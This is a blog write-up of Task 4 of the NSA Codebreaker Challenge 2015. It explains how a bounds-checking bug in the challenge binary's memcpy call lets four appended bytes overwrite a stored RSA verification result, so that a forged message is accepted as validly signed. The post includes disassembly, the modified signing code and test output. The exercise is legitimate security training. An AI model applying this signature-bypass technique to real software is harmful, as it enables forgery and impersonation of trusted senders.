NSA Codebreaker Challenge 2015: Task 4


This is the fourth and final post in my series on the NSA Codebreaker Challenge 2015, covering the fourth task of the challenge. If you haven't read them, you might want to check out the posts on Task 1, Task 2, and Task 3.

Task 4

A military organization has inquired as to whether it would be possible to
spoof messages to the terrorists, making the messages appear to come from the
terror group's leadership. This capability would be a game-changer in their
efforts to disrupt and disband the organization. Program binaries and keys have
already been distributed throughout the terrorist organization, though, so
achieving this effect must be done only by modifying the message file. Your
mission is to investigate whether this is possible and, if so, provide a
message file that would spoof the following message while making it appear as
though it came from the leadership. The message will be sent to the same
high-ranking member that the message from Task 1 was originally sent to.

The message to encode is, "SENSITIVE MESSAGE: Leadership has arranged a meeting
with the local authorities to discuss partnering opportunities. As a
high-ranking member in our organization, your attendance is requested. Meet at
the city police station at 18:00. Be discreet, and come unarmed as to not draw
attention. Mention the pass code cpspxahyvss2s5101lho at the front desk to be
escorted in.". Use the template file from Task 3 to encode this message into.

Since it wasn't possible to rely on a modified binary or keys, the only hope was to find a vulnerability in the existing binary that I could exploit to override the signature verification. Fortunately, after some time digging through the disassembly and following execution in gdb, I found just such a vulnerability.

Due to a bug in the program's bounds checking, it was possible to overwrite the result of the signature verification, and cause the verification to succeed for arbitrary signatures.

On a successful call to RSA_verify, the program would store the value 0x72d499eb at a specific stack offset, as shown below.

...

 804a905:   e8 a6 6f 00 00          call   80518b0 <RSA_verify>
 804a90a:   8b 7c 24 18             mov    edi,DWORD PTR [esp+0x18]
 804a90e:   83 f8 01                cmp    eax,0x1
 804a911:   19 c0                   sbb    eax,eax
 804a913:   f7 d0                   not    eax
 804a915:   25 eb 99 d4 72          and    eax,0x72d499eb
 804a91a:   89 85 84 00 00 00       mov    DWORD PTR [ebp+0x84],eax

...

Later, the program would copy the signature to a buffer located exactly 128 bytes before the location where the verification result was stored. Normally this would cause no problem, particularly since a bounds-checking version of memcpy was used. However, in this case the destination buffer size was incorrectly specified as 132 bytes (0x84) as shown below.

...

 804a938:   8b 44 24 38             mov    eax,DWORD PTR [esp+0x38]
 804a93c:   89 74 24 04             mov    DWORD PTR [esp+0x4],esi
 804a940:   c7 44 24 0c 84 00 00    mov    DWORD PTR [esp+0xc],0x84
 804a947:   00 
 804a948:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804a94c:   8d 45 04                lea    eax,[ebp+0x4]
 804a94f:   89 04 24                mov    DWORD PTR [esp],eax
 804a952:   e8 89 ed ff ff          call   80496e0 <__memcpy_chk@plt>
 804a957:   8b 75 00                mov    esi,DWORD PTR [ebp+0x0]
 804a95a:   81 bd 84 00 00 00 eb    cmp    DWORD PTR [ebp+0x84],0x72d499eb

...

Since the length of the data copied was based on the size of the signature read, simply appending 4 additional bytes to the signature would cause the results of the signature verification stored on the stack to be overwritten with the chosen value. In this case, the value that needed to be appended was 0x72d499eb.

    char rawsig[BUFSIZ] = { '\0'};
    size_t rawsig_sz = BUFSIZ;
    if (!RSA_sign(NID_sha224, digest, 0x1c, rawsig, &rawsig_sz, x)) {
        printf("failed to sign message\n");
        exit(-1);
    }

    rawsig[rawsig_sz++] = 0xEB;
    rawsig[rawsig_sz++] = 0x99;
    rawsig[rawsig_sz++] = 0xD4;
    rawsig[rawsig_sz++] = 0x72;

    char encsig[BUFSIZ] = {'\0'};
    size_t encsig_sz = BUFSIZ;
    if (base64encode(rawsig, rawsig_sz, encsig, encsig_sz) != 0) {
        printf("failed base64encode");
        exit(-1);
    }
    encsig_sz = strlen(encsig);

Note that since the value would be written directly to the stack, it needed to be in little-endian byte order to work on x86 systems.

Once the encoder was modified, it was just a matter of encoding the message and testing the message with the binary and key from Task 1

user@host:~/nsa_codebreaker_2015/task_4$ ./encode tier3_private.pem message_in.txt tier3_template.txt > secret-message.txt

user@host:~/nsa_codebreaker_2015/task_4$ ../task_1/secret-messenger --reveal --symbol ../task_1/tier1_key.pem --action secret-message.txt
*****SIGNATURE IS VALID*****
Message: SENSITIVE MESSAGE: Leadership has arranged a meeting with the local authorities to discuss partnering opportunities. As a high-ranking member in our organization, your attendance is requested. Meet at the city police station at 18:00. Be discreet, and come unarmed as to not draw attention. Mention the pass code cpspxahyvss2s5101lho at the front desk to be escorted in.
*****SIGNATURE IS VALID*****

This completed Task 4 and the challenge.

Closing Thoughts

This challenge was difficult, but quite fun. Task 3 in particular really pushed me out of my comfort zone. However, it was great practice, and an awesome experience. I'm looking forward to doing more of this in the future.

Kudos to the folks at the NSA who developed this.